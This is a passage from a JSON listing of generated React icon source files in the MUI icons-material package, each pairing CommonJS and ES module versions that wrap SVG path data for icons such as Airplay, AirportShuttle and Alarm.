    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactiveSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplanemodeInactiveTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M10.5 7.67V3.5c0-.83.67-1.5 1.5-1.5s1.5.67 1.5 1.5V9l8.5 5v2l-4.49-1.32zm9.28 14.94 1.41-1.41-7.69-7.7-3.94-3.94-6.75-6.75-1.42 1.41 6.38 6.38L2 14v2l8.5-2.5V19L8 20.5V22l4-1 4 1v-1.5L13.5 19v-2.67z\"\n}), 'AirplanemodeInactiveTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Airplay.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 22h12l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3V5h18v12h-4v2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Airplay');"
  },
  {
    "path": "packages/mui-icons-material/lib/Airplay.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 22h12l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3V5h18v12h-4v2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'Airplay');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplayOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 22h12l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3V5h18v12h-4v2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AirplayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplayOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 22h12l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3V5h18v12h-4v2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AirplayOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplayRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.41 22h7.17c.89 0 1.34-1.08.71-1.71L12.7 16.7a.996.996 0 0 0-1.41 0L7.7 20.29c-.62.63-.18 1.71.71 1.71M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'AirplayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplayRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.41 22h7.17c.89 0 1.34-1.08.71-1.71L12.7 16.7a.996.996 0 0 0-1.41 0L7.7 20.29c-.62.63-.18 1.71.71 1.71M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h3c.55 0 1-.45 1-1s-.45-1-1-1H4c-.55 0-1-.45-1-1V6c0-.55.45-1 1-1h16c.55 0 1 .45 1 1v10c0 .55-.45 1-1 1h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}), 'AirplayRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaySharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 22h12l-6-6zM23 3H1v16h6v-2H3V5h18v12h-4v2h6z\"\n}), 'AirplaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplaySharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 22h12l-6-6zM23 3H1v16h6v-2H3V5h18v12h-4v2h6z\"\n}), 'AirplaySharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplayTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 22h12l-6-6z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3V5h18v12h-4v2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AirplayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirplayTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 22h12l-6-6z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h4v-2H3V5h18v12h-4v2h4c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2\"\n}, \"1\")], 'AirplayTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttle.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5H3c-1.1 0-2 .89-2 2v9h2c0 1.65 1.34 3 3 3s3-1.35 3-3h5.5c0 1.65 1.34 3 3 3s3-1.35 3-3H23v-5zM3 11V7h4v4zm3 6.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7-6.5H9V7h4zm4.5 6.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M15 11V7h1l4 4z\"\n}), 'AirportShuttle');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttle.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5H3c-1.1 0-2 .89-2 2v9h2c0 1.65 1.34 3 3 3s3-1.35 3-3h5.5c0 1.65 1.34 3 3 3s3-1.35 3-3H23v-5zM3 11V7h4v4zm3 6.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5m7-6.5H9V7h4zm4.5 6.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5 1.5.67 1.5 1.5-.67 1.5-1.5 1.5M15 11V7h1l4 4z\"\n}), 'AirportShuttle');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5H3c-1.1 0-2 .89-2 2v9h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zm-2 2h1l3 3h-4zM9 7h4v3H9zM3 7h4v3H3zm3 10.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m12 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M21 14h-.78c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H8.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-2h18z\"\n}), 'AirportShuttleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5H3c-1.1 0-2 .89-2 2v9h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zm-2 2h1l3 3h-4zM9 7h4v3H9zM3 7h4v3H3zm3 10.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m12 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M21 14h-.78c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H8.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-2h18z\"\n}), 'AirportShuttleOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22.41 10.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H3c-1.1 0-2 .89-2 2v7c0 1.1.9 2 2 2 0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3c1.1 0 2-.9 2-2v-2.17c0-.53-.21-1.04-.59-1.42M3 10V8c0-.55.45-1 1-1h3v4H4c-.55 0-1-.45-1-1m3 7.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M13 11H9V7h4zm5 6.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M15 11V7h1l4 4z\"\n}), 'AirportShuttleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22.41 10.41-4.83-4.83c-.37-.37-.88-.58-1.41-.58H3c-1.1 0-2 .89-2 2v7c0 1.1.9 2 2 2 0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3c1.1 0 2-.9 2-2v-2.17c0-.53-.21-1.04-.59-1.42M3 10V8c0-.55.45-1 1-1h3v4H4c-.55 0-1-.45-1-1m3 7.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M13 11H9V7h4zm5 6.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M15 11V7h1l4 4z\"\n}), 'AirportShuttleRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5H1v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zM3 11V7h4v4zm3 6.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M13 11H9V7h4zm5 6.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M15 11V7h1l4 4z\"\n}), 'AirportShuttleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5H1v11h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zM3 11V7h4v4zm3 6.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M13 11H9V7h4zm5 6.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M15 11V7h1l4 4z\"\n}), 'AirportShuttleSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 14h.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1h7.56c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H21v-2H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5H3c-1.1 0-2 .89-2 2v9h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zm-2 2h1l3 3h-4zM9 7h4v3H9zM3 7h4v3H3zm3 10.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m12 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M21 14h-.78c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H8.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-2h18z\"\n}, \"1\")], 'AirportShuttleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/AirportShuttleTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 14h.78c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1h7.56c.55-.61 1.34-1 2.22-1s1.67.39 2.22 1H21v-2H3z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5H3c-1.1 0-2 .89-2 2v9h2c0 1.66 1.34 3 3 3s3-1.34 3-3h6c0 1.66 1.34 3 3 3s3-1.34 3-3h2v-5zm-2 2h1l3 3h-4zM9 7h4v3H9zM3 7h4v3H3zm3 10.25c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25m12 0c-.69 0-1.25-.56-1.25-1.25s.56-1.25 1.25-1.25 1.25.56 1.25 1.25-.56 1.25-1.25 1.25M21 14h-.78c-.55-.61-1.34-1-2.22-1s-1.67.39-2.22 1H8.22c-.55-.61-1.33-1-2.22-1s-1.67.39-2.22 1H3v-2h18z\"\n}, \"1\")], 'AirportShuttleTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Alarm.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'Alarm');"
  },
  {
    "path": "packages/mui-icons-material/lib/Alarm.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m22 5.72-4.6-3.86-1.29 1.53 4.6 3.86zM7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM12.5 8H11v6l4.75 2.85.75-1.23-4-2.37zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7\"\n}), 'Alarm');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAdd.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AlarmAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAdd.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.88 3.39 6.6 1.86 2 5.71l1.29 1.53zM22 5.72l-4.6-3.86-1.29 1.53 4.6 3.86zM12 4c-4.97 0-9 4.03-9 9s4.02 9 9 9c4.97 0 9-4.03 9-9s-4.03-9-9-9m0 16c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 3.13 7 7-3.13 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AlarmAdd');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m17.337 1.81 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AlarmAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m17.337 1.81 4.607 3.845-1.28 1.535-4.61-3.843zm-10.674 0 1.282 1.536L3.337 7.19l-1.28-1.536zM12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m1-11h-2v3H8v2h3v3h2v-3h3v-2h-3z\"\n}), 'AlarmAddOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.18 5.01 18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m3-8h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'AlarmAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.18 5.01 18.1 2.45c-.42-.35-1.05-.3-1.41.13-.35.42-.29 1.05.13 1.41l3.07 2.56c.42.35 1.05.3 1.41-.13.36-.42.3-1.05-.12-1.41M4.1 6.55l3.07-2.56c.43-.36.49-.99.13-1.41-.35-.43-.98-.48-1.4-.13L2.82 5.01c-.42.36-.48.99-.12 1.41.35.43.98.48 1.4.13M12 4c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9-4.03-9-9-9m0 16c-3.86 0-7-3.14-7-7s3.14-7 7-7 7 3.14 7 7-3.14 7-7 7m3-8h-2v-2c0-.55-.45-1-1-1s-1 .45-1 1v2H9c-.55 0-1 .45-1 1s.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1\"\n}), 'AlarmAddRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/AlarmAddSharp.js",
